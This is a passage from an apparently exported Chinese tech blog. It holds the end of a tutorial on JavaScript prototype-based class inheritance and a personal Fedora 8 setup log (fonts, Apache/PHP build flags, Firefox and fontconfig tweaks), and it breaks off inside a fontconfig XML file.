instanceof的结果都是相同的。\n因此，使用prototype引用拷贝实现继承不是一种正确的办法。但在要求不严格的情况下，却也是一种合理的方法，惟一的约束是不允许类成员的覆盖定义。下面一节，将利用反射机制和prototype来实现正确的类继承。\n利用反射机制和prototype实现继承\n前面一节介绍的共享prototype来实现类的继承，不是一种很好的方法，毕竟两个类是共享的一个 prototype，任何对成员的重定义都会互相影响，不是严格意义的继承。但在这个思想的基础上，可以利用反射机制来实现类的继承，思路如下：利用 for(…in…)语句枚举出所有基类prototype的成员，并将其赋值给子类的prototype对象。例如：\n\u0026lt;script language=\u0026quot;JavaScript\u0026quot; type=\u0026quot;text/javascript\u0026quot;\u0026gt;\n\u0026lt;!\u0026#8211;\nfunction class1(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\nclass1.prototype={\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(1);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; },\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method2:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026quot;method2\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\nfunction class2(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\n//让class2继承于class1\nfor(var p in class1.prototype){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; class2.prototype[p]=class1.prototype[p];\n} //覆盖定义class1中的method方法\nclass2.prototype.method=function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(2);\n}\n//创建两个类的实例\nvar obj1=new class1();\nvar obj2=new class2();\n//分别调用obj1和obj2的method方法\nobj1.method();\nobj2.method();\n//分别调用obj1和obj2的method2方法\nobj1.method2();\nobj2.method2();\n//\u0026#8211;\u0026gt;\n\u0026lt;/script\u0026gt;\n从运行结果可见，obj2中重复定义的method已经覆盖了继承的method方法，同时method2方法未受影响。而且obj1中的method方 法仍然保持了原有的定义。这样，就实现了正确意义的类的继承。为了方便开发，可以为每个类添加一个共有的方法，用以实现类的继承：\n//为类添加静态方法inherit表示继承于某类\nFunction.prototype.inherit=function(baseClass){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var p in baseClass.prototype){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; this.prototype[p]=baseClass.prototype[p];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n这里使用所有函数对象（类）的共同类Function来添加继承方法，这样所有的类都会有一个inherit方法，用以实现继承，读者可以仔细理解这种用法。于是，上面代码中的：\n//让class2继承于class1\nfor(var p in class1.prototype){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; class2.prototype[p]=class1.prototype[p];\n}\n可以改写为：\n//让class2继承于class1\nclass2.inherit(class1)\n这样代码逻辑变的更加清楚，也更容易理解。通过这种方法实现的继承，有一个缺点，就是在class2中添加类成员定义时，不能给prototype直接赋值，而只能对其属性进行赋值，例如不能写为：\nclass2.prototype={\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //成员定义\n}\n而只能写为：\nclass2.prototype.propertyName=someValue;\nclass2.prototype.methodName=function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //语句\n}\n由此可见，这样实现继承仍然要以牺牲一定的代码可读性为代价，在下一节将介绍prototype-1.3.1框架（注：prototype-1.3.1框 架是一个JavaScript类库，扩展了基本对象功能，并提供了实用工具详见附录。）中实现的类的继承机制，不仅基类可以用对象直接赋值给 property，而且在派生类中也可以同样实现，使代码逻辑更加清晰，也更能体现面向对象的语言特点。\nprototype-1.3.1框架中的类继承实现机制\n在prototype-1.3.1框架中，首先为每个对象都定义了一个extend方法：\n//为Object类添加静态方法：extend\nObject.extend = function(destination, source) { for(property in source) { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; destination[property] = source[property]; } return destination; }\n//通过Object类为每个对象添加方法extend\nObject.prototype.extend = function(object) { return Object.extend.apply(this, [this, object]); }\nObject.extend方法很容易理解，它是Object类的一个静态方法，用于将参数中source的所有属性都赋值到destination对象 中，并返回destination的引用。下面解释一下Object.prototype.extend的实现，因为Object是所有对象的基类，所以 这里是为所有的对象都添加一个extend方法，函数体中的语句如下：\nObject.extend.apply(this,[this,object]);\n这一句是将Object类的静态方法作为对象的方法运行，第一个参数this是指向对象实例自身；第二个参数是一个数组，包括两个元素：对象本身和传进来 的对象参数object。函数功能是将参数对象object的所有属性和方法赋值给调用该方法的对象自身，并返回自身的引用。有了这个方法，下面看类继承 的实现：\n\u0026lt;script language=\u0026quot;JavaScript\u0026quot; type=\u0026quot;text/javascript\u0026quot;\u0026gt;\n\u0026lt;!\u0026#8211;\n//定义extend方法\nObject.extend = function(destination, source) { for (property in source) { \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; destination[property] = source[property]; } return destination; }\nObject.prototype.extend = function(object) { return Object.extend.apply(this, [this, object]); }\n//定义class1\nfunction class1(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\n//定义类class1的成员\nclass1.prototype={\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026quot;class1\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; },\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method2:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026quot;method2\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n//定义class2\nfunction class2(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\n//让class2继承于class1并定义新成员\nclass2.prototype=(new class1()).extend({\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026quot;class2\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n});\n//创建两个实例\nvar obj1=new class1();\nvar obj2=new class2();\n//试验obj1和obj2的方法\nobj1.method();\nobj2.method();\nobj1.method2();\nobj2.method2();\n//\u0026#8211;\u0026gt;\n\u0026lt;/script\u0026gt;\n从运行结果可以看出，继承被正确的实现了，而且派生类的额外成员也可以以列表的形式加以定义，提高了代码的可读性。下面解释继承的实现：\n//让class2继承于class1并定义新成员\nclass2.prototype=(new class1()).extend({\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026quot;class2\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n});\n上段代码也可以写为：\n//让class2继承于class1并定义新成员\nclass2.prototype=class1.prototype.extend({\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; method:function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; alert(\u0026quot;class2\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n});\n但因为extend方法会改变调用该方法对象本身，所以上述调用会改变class1的prototype的值，犯了和以前一样的错误。在 prototype-1.3.1框架中，巧妙的利用new class1()来创建一个实例对象，并将实例对象的成员赋值给class2的prototype。其本质相当于创建了class1的prototype 的一个拷贝，在这个拷贝上进行操作自然不会影响原有类中prototype的定义了。\n","permalink":"https://hessian.cn/p/479.html","summary":"利用共享prototype实现继承\n继承是面向对象开发的又一个重要概念，它可以将现实生活的概念对应到程序逻辑中。例如水果是一个类，具有一些公共的性质；而苹果也是一类，但它们属于水果，所以苹果应该继承于水果。\n在JavaScript中没有专门的机制来实现类的继承，但可以通过拷贝一个类的prototype到另外一个类来实现继承。一种简单的实现如下：\nfucntion class1(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //构造函数\n}\n","title":"[转]JavaScript类的继承"},{"content":"Fedora 8 常规使用设置\n以前装linux都没有作记录，虽然再装起来也不是什么难事，但总会忘这忘那，找资料也总会花不少时间的。\n昨天挂了一晚上下了Fedora 8(F9test官方已经有消息了\u0026#8230;这速度也太快了)，这次也干脆来次重新安装，顺便记录一下一些设置啊什么的。\n［安装］\n我用的是硬盘安装，本来安装的系统是Fedora 7\n硬盘安装方法：\n我的驱动器信息\n________________________\n挂载点\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; 对应标号\n/\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; sda1\n/home\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; sda2\n/workspace\u0026nbsp;\u0026nbsp; sda3\n/soft\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; sda6\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n1、挂载iso文件\nmount -t iso9660 -o loop ISO文件路径 挂载路径\n2、复制安装引导程序\n然后进入iso目录把isolinux拷到 / 下面\n3、编辑启动菜单\n编辑 /etc/grub.conf\n追加一下4行\ntitle Fedora 8 Installation # 引导项目标题\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; root (hd0,0) # 根目录(/)的位置\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; kernel /isolinux/vmlinuz\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; initrd /isolinux/initrd\n4、启动安装\n重新启动系统，从引导菜单中选择 \u0026ldquo;Fedora 8 Installation\u0026rdquo;\n选择安装介质的时候选 Hard Disk\n然后选择Fedora-8-i386-DVD.iso所在的分区确定就行\n确定\u0026#8230;.\n重新启动以后就会开始安装，根据需要选择一些要安装的附件什么以后就可以开始安装了。\n主要选了几个\nKDE\u0026nbsp;\u0026nbsp; 我比较喜欢这个，感觉可配置的地方多一些\nEclipse 比较强大的IDE\nMySQL\u0026nbsp;\u0026nbsp; F8带的版本也比较新，刚好装上得了，反正我\n\u0026nbsp;\u0026nbsp; 就算自己装也懒得去下源码包编译的，毕竟是自己用作测试的。\n\u0026nbsp;\u0026nbsp; 至于HTTP，PHP什么的，还是自己装吧，要配置的东西比较多。\n其他乱七八糟的好像也选了几个\u0026#8230;.反正是无关紧要的东西\n［字体安装］\n直接到windows下面弄了点字体过来 放进 /usr/share/fonts/zh_CN 里面\n然后执行 ttmkfdir -o fonts.scale\nttmkfdir\nfc-cache -fv\n就行了\u0026#8230;其实我还没搞明白上面几句是干嘛的..哈\u0026#8230;哈哈\u0026#8230;.\n我用到的字体：\narialbd.ttf\narialbi.ttf\nariali.ttf\narial.ttf\nfonts.scale\nsimfang.ttf\nsimhei.ttf\nsimkai.ttf\nsimsun.ttc\ntahomabd.ttf\ntahoma.ttf\nverdanab.ttf\nverdanai.ttf\nverdana.ttf\nverdanaz.ttf\n［配置］\n。。。。。。。。\n突然发现也没什么好写的，随便记吧。。。本来就是是方便自己记忆而已。。。\n第一个问题，音乐\n没有音乐怎么能行？以前用KDE一直在用 Amarok 感觉很好，不过现在我打算用用Gnome，F8里看起来挺舒服的打算试试\n查了一下，听说Audacious不错。\n先到 http://rpm.livna.org/rlowiki/ 把livna的repo加上\n然后\nyum install audacious\nyum install audacious-plugins-nonfree-mp3\nyum install audacious-plugins-nonfree-wma\nOK了，MP3也能放了\n附上一文顺便解释一下关于MP3中文标签在LINUX乱码的问题：\n［Amarok的中文支持到底是怎么回事］http://www.myswear.net/forum/viewthread.php?tid=7536\u0026amp;extra=page%3D10\n［PHP开发环境配置］\napache 2.2.6\nphp 5.2.5\napache configure :\n./configure \u0026#8211;prefix=/usr/local/apache \u0026#8211;enable-rewrite \u0026#8211;enable-so\nphp configure :\n./configure \u0026#8211;prefix=/usr/local/php \u0026#8211;with-apxs2=/usr/local/apache/bin/apxs \u0026#8211;enable-mbstring \u0026#8211;with-zlib \u0026#8211;with-gd \u0026#8211;with-mysql=shared \u0026#8211;with-sqlite=shared \u0026#8211;enable-pdo=shared \u0026#8211;with-pdo-sqlite=shared \u0026#8211;with-pdo-mysql=shared\n/usr/kerberos/sbin:/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/home/gik/bin:/sbin\n因为可能会经常改配置，所以把配置文件的链接弄到etc里，方便点，免得用起来还要输个长长的路径\nln -s /usr/local/php/lib/php.ini /etc/php.ini\nln -s /usr/local/apache/conf/httpd.conf /etc/httpd.conf\n再编译PHP/PDO 什么的时候 有时候会出现 Cannot find MySQL header files under 之类的问题\n解决方法： sudo ln -s /usr/local/mysql/bin/mysql_config /usr/bin/mysql_config\n[FIREFOX 字体问题]\nF8 界面字体很小的，不知道被改过什么地方。\n不管，直接动手术\ncd ~/.mozilla/firefox/XXXXXXXX.default/chrome/\ncp userChrome-example.css userChrome.css\n修改浏览器界面字体\nvi userChrome.css\n加上这两行\n*{ font-size:10pt; font-family:sans; }\nmenupopup \u0026gt; * { font-size:12pt; }\n保存退出\n再修改页面字体大小\ncp userContent-example.css userContent.css\nvi userContent.css\n加上 body,input,button { font-size:12px; }\n改完以后很多页面看着还是很奇怪，英文字体和中文字体大小参差不齐，查了一下 发现是DPI的问题\n打开firefox进入 about:config\n找到 layout.css.dpi ， 这项默认为-1，据说值为-1的时候字体DPI为96(我们平时用的字体分辨率都是72)，所以字体看起来会特别小\n修改\nlayout.css.dpi = 0\n好了 FIREFOX正常了\n另外，如果是自己安装firefox会由于缺少 libstdc++.so.5 而运行不了 直接 yum install libstdc++.so.5 就行了\n［ZEND安装问题］\n装zend的时候出现新问题了，运行安装程序出现 \u0026ldquo;xcb_xlib.c:50: xcb_xlib_unlock: Assertion `c-\u0026gt;xlib.lock failed\u0026rdquo;\n据说是JDK导致的问题\n解决办法：\n还原到F7的libX11\nrpm -e \u0026#8211;nodeps libX11-1.1.3-4.fc8\nrpm -e \u0026#8211;nodeps libX11-devel-1.1.3-4.fc8\n到http://rpm.pbone.net/找到下面那两个包 装上\nrpm -ivh libX11-1.0.3-8.fc7.i386.rpm\nrpm -ivh libX11-devel-1.0.3-8.fc7.i386.rpm 再加上下面两行到 /etc/yum.conf，防止更新的时候又恢复到新版本\n# List of packages to exclude from updates or installs\nexclude=libX11 libX11-devel\n［ZEND中文问题］\nlinux下安装的ZEND辑中文时会变成方块，这个问题是由于ZEND自带的JRE没有中文字体造成的\n找到ZEND的安装目录 进入 jre/lib/fonts/\n建立一个 fallback 目录\n找点中文字体放进去就行了，我比较喜欢用宋体\n［PHP extensions问题］\n由于编译mysql,sqlite,pdo的时候用的是shared方式\n所以还要在PHP.ini中设定相应的选项才行\n编译的时候由于没有特别指定，所以.so文件产生的位置是在\nPHP安装目录/lib/php/extensions/［no-debug-non-zts-20060613］\n中括号括起的部分可能会变\n还有，linux下面的extension是.so不是.dll哦。。。别搞错了，反正我自己是忘了。。哈哈。。。以前一直用静态编译\n还有编译产生的so文件前面是没有 php_前缀的 不过php.ini里的是有的 一定要注意。。。表像我那么粗心\n2008年的第一天补上。。。。\n关于字体发虚的问题，其实主要体现是在中文字体上，还有默认用的好像是那个什么Mingliu的字体，在FIREFOX里面看起来好恶心哦。。。\n恩。。。解决办法如下：\n一、关闭部分大小的字体反锯齿功能\n二、设置替换字体\n具体。。。\n/etc/fonts/conf.d/10-XXXXXXXX.conf\n内容\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n\u0026lt;?xml version=\u0026quot;1.0\u0026quot;?\u0026gt;\n\u0026lt;!DOCTYPE fontconfig SYSTEM \u0026quot;fonts.dtd\u0026quot;\u0026gt;\n\u0026lt;!\u0026#8211; /etc/fonts/conf.avail/50-user.conf file to configure system font access \u0026#8211;\u0026gt;\n\u0026lt;fontconfig\u0026gt;\n\u0026lt;!\u0026#8211;\n\u0026nbsp;\u0026nbsp; default settings for all fonts.\n\u0026#8211;\u0026gt;\n\u0026lt;match target=\u0026quot;font\u0026quot; \u0026gt;\n\u0026lt;!\u0026#8211; 打开字体的反锯齿即AA,大号字用AA会更美观\u0026nbsp;\u0026nbsp; \u0026#8211;\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit mode=\u0026quot;assign\u0026quot; name=\u0026quot;antialias\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;bool\u0026gt;t\u0026lt;/bool\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit mode=\u0026quot;assign\u0026quot; name=\u0026quot;hintstyle\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;const\u0026gt;hintslight\u0026lt;/const\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt;\n\u0026lt;!\u0026#8211; 打开hint \u0026#8211;\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit mode=\u0026quot;assign\u0026quot; name=\u0026quot;hinting\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;bool\u0026gt;t\u0026lt;/bool\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt;\n\u0026lt;!\u0026#8211; 关闭autohint \u0026#8211;\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit mode=\u0026quot;assign\u0026quot; name=\u0026quot;autohint\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;bool\u0026gt;false\u0026lt;/bool\u0026gt;\n\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt;\n\u0026lt;/match\u0026gt;\n\u0026lt;!\u0026#8211; 关闭 8到17号字体的AA \u0026#8211;\u0026gt;\n\u0026lt;match target=\u0026quot;font\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;test compare=\u0026quot;contains\u0026quot; name=\u0026quot;lang\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;zh-cn\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;zh-tw\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;ja\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;ko\u0026lt;/string\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;test compare=\u0026quot;more_eq\u0026quot; name=\u0026quot;pixelsize\u0026quot; qual=\u0026quot;any\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;double\u0026gt;9\u0026lt;/double\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;test compare=\u0026quot;less_eq\u0026quot; name=\u0026quot;pixelsize\u0026quot; qual=\u0026quot;any\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;double\u0026gt;14\u0026lt;/double\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/test\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;edit mode=\u0026quot;assign\u0026quot; name=\u0026quot;antialias\u0026quot; \u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;bool\u0026gt;false\u0026lt;/bool\u0026gt;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;/edit\u0026gt;\n\u0026lt;/match\u0026gt;\n\u0026lt;!\u0026#8211; 解决英文字体间距过宽 \u0026#8211;\u0026gt;\n\u0026lt;match target=\u0026quot;font\u0026quot;\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;test target=\u0026quot;pattern\u0026quot; name=\u0026quot;lang\u0026quot; compare=\u0026quot;contains\u0026quot;\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;zh-tw\u0026lt;/string\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;zh-cn\u0026lt;/string\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;ja\u0026lt;/string\u0026gt; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026lt;string\u0026gt;ko\u0026lt;/string\u0026gt; 